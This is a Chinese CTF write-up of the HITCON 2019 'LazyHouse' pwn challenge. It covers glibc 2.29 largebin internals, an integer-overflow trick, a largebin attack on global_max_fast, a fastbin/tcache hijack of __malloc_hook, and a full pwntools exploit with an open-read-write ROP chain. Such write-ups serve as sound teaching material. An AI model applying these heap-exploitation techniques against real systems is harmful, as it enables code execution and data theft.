首页
社区
课程
招聘
Hitcon_CTF_2019_LazyHouse
2020-10-3 11:02 3592

Hitcon_CTF_2019_LazyHouse

2020-10-3 11:02
3592

Hitcon_CTF_2019_LazyHouse

glibc2.29 largebin attack

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
/* place chunk in bin */
 
if (in_smallbin_range (size))
  {
    victim_index = smallbin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;
  }
else  //当要插入的不是smallbin大小而是largebin大小
  {
    victim_index = largebin_index (size); //根据size获取对应的largebin index
    bck = bin_at (av, victim_index);      //拿对应largebin index的表头
    fwd = bck->fd;                        //对应largebin index的前一个表头             
 
    /* maintain large bins in sorted order */
    //当此时largebin不为空时
    if (fwd != bck)   
      {
        /* Or with inuse bit to speed comparisons */
        size |= PREV_INUSE;
        /* if smaller than smallest, bypass loop below */
        assert (chunk_main_arena (bck->bk));
        if ((unsigned long) (size)
    < (unsigned long) chunksize_nomask (bck->bk))//要插入的chunk的size小于最小的,那么他即将成为新的表头,并且是最小的
          {
            //bck是对应的largebin index表头
            //fwd是对应的largebin index的前一个表头
            fwd = bck;
            bck = bck->bk;
            //nextsize成链
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
          }
        else//如果不是最小的,那么说明就要插到中间
          {
            assert (chunk_main_arena (fwd));
            //while负责找到此时largebin中第一个比它大于或等于的
            while ((unsigned long) size < chunksize_nomask (fwd))
              {
                fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
              }
 
            if ((unsigned long) size//如果是等于
    == (unsigned long) chunksize_nomask (fwd))
              /* Always insert in the second position.  */
              fwd = fwd->fd;        //直接插到后面,不用改nextsize指针了
            else
              {                     //如果不是等于而是大于
                //需要做nextsize成链
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
              }
            bck = fwd->bk;
          }
      }
    //当largebin为空时
    else
      victim->fd_nextsize = victim->bk_nextsize = victim;
  }
 
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

利用思路

实际上我看了一下2.29下的源码,在插入时利用的时候与低版本相比似乎源代码上并没有什么区别

 

这个搞了一个小demo来理解一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1 #include <stdio.h>
 2 #include <stdlib.h>
 3
 4 size_t buf[0x10];   // buf is in .bss
 5 int main()
 6 {
 7     size_t *ptr,*ptr2, *ptr3;
 8     setbuf(stdout, NULL);
 9     setbuf(stdin,NULL);
10     setbuf(stderr,NULL);
11     printf("buf addr:%p\n",buf);
12
13     ptr = malloc(0x438);
14
15     malloc(0x18);
16     ptr2 = malloc(0x448);
17     malloc(0x18);
18     free(ptr);
19     // put ptr intolarge bin
20     malloc(0x600);
21
22     free(ptr2);
23     printf("ptr in largebin : %p\n",ptr);
24
25     puts("set largebin chunk's fd_nextsize = NULL");
26     ptr[2] = 0;
27     puts("set largebin chunk's bk_nextsize = buf");
28     ptr[3] = (size_t)&buf[0];
29     getchar();
30     printf("Original buf[4]:0x%lx\n", buf[4]);
31     ptr3 = malloc(0x68);
32     printf("After largebin attack( malloc(0x68) )\nbuf[4]:0x%lx\n", buf[4]);
33
34
35     printf("Arbitrary write trigger!!!!\n");
36     return 0;
37 }

核心过程如下:

  • 放不同大小的两个chunk一个放到unosrtedbin,一个放到largebin中
  • 然后劫持在largebin中的chunk的nextsize指针,使:fd_nextsize=0; bk_nextsize = evil_addr-0x20,保证fd、bk不变
  • 然后申请一个小chunk,比如add(0x68/0x88),此时对chunk做切割,同时任意写触发。(比如打global_max_fast,写上一个极大值)

题目概览

乘法溢出

 

你看这里,要求 size>127 && 218*size <= 116630

 

那么等价于要求:size>127 && size <=535

 

然后你会发现,实际上我们的 money 不是无限的。但是如果我们将size设置成一个很大的值。让 218*size 发生溢出(size是无符号整型),那么第二个if也会被pass掉此时global_node[index].price会被设置成一个极大的值,其实就是对应房子的价格。此时如果我们在调用delete函数卖掉房子,那么money就会被加回来达到一个极大值,从而实现我们几乎有无限多的钱可以购买house

 

64位unsigned int大小范围内:[0 , 2^64 -1],那么:我们让size*218>2^64 -1就可以溢出了

1
2
3
4
5
6
36 def uint_overflow():
37     sal(cho,'1')
38     money = ((2**64-1)/218) + 1 # unsigned int overflow
39     sal(ind,'0')
40     sal(siz,str(money))
41     sell(0)

此时我们的money已经成为了一个极大值。我们几乎可以随便买房子orz。

1
2
3
4
5
pwndbg> p /x 0x4b27ed3604b445fe
$1 = 0x4b27ed3604b445fe
 
pwndbg> p 0x4b27ed3604b445fe
$2 = 5415557893199250942

拿到libc与heap

一旦涉及到高版本的overlap的问题,看起来是后向合并用的比较多

 

首先我们申请chunk排布如下:

 

 

之后我们填满大小为0x250的tcachebin。

 

首先我们edit chunk1,向下溢出劫持chunk2的size(变成0x781)使得chunk2 --> chunk4全部合并overlap掉,此时free掉chunk2,他们三个一起进入unsortedbin,大小0x781

 

 

然后我们重新add大小0x338的回来,此时造成chunk3的一部分被overlap了,如下:

 

 

此时我们再add(0x600),那么切割剩余的lastremainder会被放入largebin中,并且放上nexsize与fd、bk指针,由于其实我们只free了chunk2,那么此时show一下chunk3就同时获得了libc与heap地址

 

largebin attack

高版本下由于unsortedbin基本gg,那么largebin attack触发的任意写就补上了unsortedbin的功能。

我们任意写的目标放在global_max_fast,为之后做fastbin attack做准备

我们free chunk3然后再add回来,此时就可以劫持bk_nextsize指针了。

 

触发largebin attack任意写条件如下:

  • unsortedbin、largebin中各有一个chunk,并且要求unsortedbin中的大于largebin中的。
  • 劫持largebin chunk的指针:fd、bk保持不变,fd_nextsize=0(防止触发unlink)、bk_nextsize=evil_addr-0x20

之后add一次触发一下切割。此时出发了largebin attack任意写,使得evil_addr上写入了chunk地址(一个大数)

 

触发后:

 

global_max_fast已经变成了极大值,如果我们再次free大小为0x250的,由于tcache已满且fastbin变大,那么他会被挂在main_arena+296的位置(此时这里被变成了fastbin),基于这个我们可以做fastbin attack

fastbin attack

由于已经劫持了global_max_fast,此时我们free出的0x250大小的chunk会被挂在main_arena+296上。

 

我们free大小为0x250的chunk3,然后通过edit chunk2进行溢出,劫持在evil fastbin(main_arena+296)中的chunk3的fd指针指向tcache_pthread_struct,准备劫持tcache

这里还有一个小细节处理的很好,由于我们最初申请的就是0x250的chunk,这个大小刚好等于tcache_pthread_struct,所以当我们劫持fd指向tcache的时候,刚好可以bypass系统对于size的check。

tcache attack劫持tcache_pthread_struct

add一次0x250的chunk回来,同时在add的时候把orw的rop chains布置到堆上去。

 

然后将tcahce_pthread_struct申请回来,劫持大小为0x220的对应tcache_entry指针指向__malloc_hook,接下来如果我们再malloc(0x220)就可以劫持__malloc_hook了。

Calloc + leave;ret 配合打“栈”迁移

u1s1,这个是个新奇玩意,之前还真没研究过。

本道题中,calloc调用如下:chunk_addr = (char *)calloc(1uLL, size);

 

首先看一下calloc反汇编出来的:

 

此时rdi就是1,rsi就是我们传进来的size,你会发现我们此时rbp里的值就是size*1=size

再向下进行:

当malloc_hook存在时:

 

直接调用了__malloc_hook:

 

这里就产生了一个问题,通过观察刚刚的执行流程,我们发现当mallochook存在时,调用malloc_hook之前,rbp都是可控的,那么如果我们将rbp布置成我们想要劫持执行流的到的恶意地址位置;然后劫持malloc_hook为leave;ret,实际上再次触发calloc的时候,就直接完成了一次“栈迁移”,一瞬劫持程序的执行流。这也就是本题我们劫持执行流到堆上执行orw攻击的方法。

至此,本题的利用到此结束。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# encoding=utf-8
# echo "flag{ScUpax0s_lazyhouse} > ./flag"
from pwn import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/usr/lib/x86_64-linux-gnu/libc-2.29.so"
elf_path = "./lazyhouse"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='Your choice:'      # choice提示语
siz='Size:'     # size输入提示语
con=''         # content输入提示语
ind='Index:'      # index输入提示语
edi=''          # edit输入提示语
mon = 'Your money:'
pri = 'Price:'
hou = 'House:'
def uint_overflow():
    sal(cho,'1')
    money = ((2**64-1)/218) + 1 # unsigned int overflow
    sal(ind,'0')
    sal(siz,str(money))
    sell(0)
def add(index,size,content='',c='1'):
    sal(cho,c)
    sal(ind,str(index))
    sal(siz,str(size))
    sal(hou,content)
 
def sell(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='4'):
    sal(cho,c)
    sal(ind,str(index))
    sa(hou,content)
def call_malloc(content='',c='5'):
    # malloc(0x217)
    sal(cho,c)
    sal(hou,content)
 
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    get_proc_base(io)
    get_libc_base(io)
 
    # trigger imul overflow to get infinite money
    uint_overflow()
 
    # chunk overlap
    add(0, 0x88, 'chunk1'# free
    add(1, 0x248, 'chunk2') # overlap
    add(2, 0x248, 'chunk3') # overlap
    add(6, 0x248, 'chunk4') # overlap
    add(3, 0x88, 'chunk5')
    add(7, 0x88, 'chunk6')
    add(4, 0x448, 'chunk7')
 
    for i in range(7):
        add(5,0x248,'chunk5')
        sell(5)
    # Leak Libc and Heap address
    edit(0,'a'*0x80+p64(0)+p64(0x781)) # overlap:chunk1 -> chunk3
    sell(1)
    add(1,0x338,'b'*0x240+p64(0)+p64(0x251)) # add back #1 and partial #2 chunk
    add(5,0x600,'chunk5')   # put the remainder(0x780-0x340=0x440) into largebin directly.
 
    show(2) # now partial chunk2 in largebin
    libc.address = u64(ru("\x7f")[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-1120-0x10 # fd
    r(2)
    success("libc:"+hex(libc.address))
    r(8)    # bk
    heap = u64(r(8))-0x620    # fd_nextsize point to itself
    success("heap:"+hex(heap))
 
    # LargeBin Attack
    sell(2) # put chunk2 into unsortedbin(because tcahce is FULL)
    global_max_fast = libc.address+0x1e7600
    fd = bk = libc.address+0x1e50a0
    fd_nextsize = 0
    bk_nextsize = global_max_fast-0x20
    add(2,0x248,'\x00'*0xe8+p64(0x441)+p64(fd)+p64(bk)+p64(fd_nextsize)+p64(bk_nextsize))   # hijack bk_nextsize to global max fast
    sell(4)         # put chunk7 (0x450) into unsortedbin
    add(4,0x88,'largebin attack trigger!') # trigger largebin attack, Arbitrary Write to change global_max_fast a huge number.
 
    # Fastbin attack
    sell(4)
    sell(2)    # chunk2 now in main_arena+296, because fastbin exteneded
    edit(1,'\x00'*0x248+p64(0x251)+p64(heap)) # through edit to hijack chunk2's next pointer to hijack tcache_pthread_struct (both size are 0x250, so it is OK to bypass fastbin's size check)
 
 
 
    pop_rdi = 0x0000000000026542+libc.address
    pop_rsi = 0x0000000000026f9e+libc.address
    pop_rdx = 0x000000000012bda6+libc.address
    syscall = 0x00000000000cf6c5+libc.address
    pop_rax = 0x0000000000047cf8+libc.address
    flag_str_addr = heap+0x540+0x100
    flag_addr = heap+0x540
    # open -> read -> write
    orw = flat([
        0,
        pop_rdi,
        flag_str_addr,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall,
        # open("./flag",0);
 
        pop_rdi,
        3,
        pop_rsi,
        flag_addr,
        pop_rdx,
        0x100,
        pop_rax,
        0,
        syscall,
        # read(3,flag_addr,0x100)
 
        pop_rdi,
        1,
        pop_rsi,
        flag_addr,
        pop_rdx,
        0x100,
        pop_rax,
        1,
        syscall,
        # write(1,flag_addr,0x100)
 
        pop_rdi,
        0,
        pop_rax,
        231,
        syscall
])
 
    # now in evil Fastbin(main_arena+296):
    # evil_Fastbin(main_arena+296) --> chunk2 --> tcache_pthread_struct
 
    add(2,0x248,orw.ljust(0x100,'\x00')+'./flag\x00') # put your rop chains into chunk2, and then the tcache_pthread_struct will be the chunk in your evil Fastbin(main_arena+296)
 
    leave_ret = libc.address+0x0000000000058373
    success("__malloc_hook:"+hex(libc.sym['__malloc_hook']))
    add(4,0x248,'\0'*0x40+p64(0)*0x20+p64(libc.sym['__malloc_hook']))   # get tcache_pthread_struct back, and set (0x220)tcache_entry[32] --> malloc_hook
    call_malloc(p64(leave_ret))             # now malloc_hook = addr of leave;ret
    success("rop target:"+str(heap+0x540))   
    sell(4)
 
    io.sendafter('Your choice: ', '1\0'.ljust(0x20, '0'))
    io.sendlineafter('Index:', str(4))
 
    io.sendlineafter('Size:', str(heap + 0x540))
 
    shell()  
 
 
exp()

效果如下:

参考

https://blog.csdn.net/weixin_34268310/article/details/91571229

 

https://blog.csdn.net/qq_23066945/article/details/103070322

 

http://blog.eonew.cn/archives/1263#LazyHouse


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回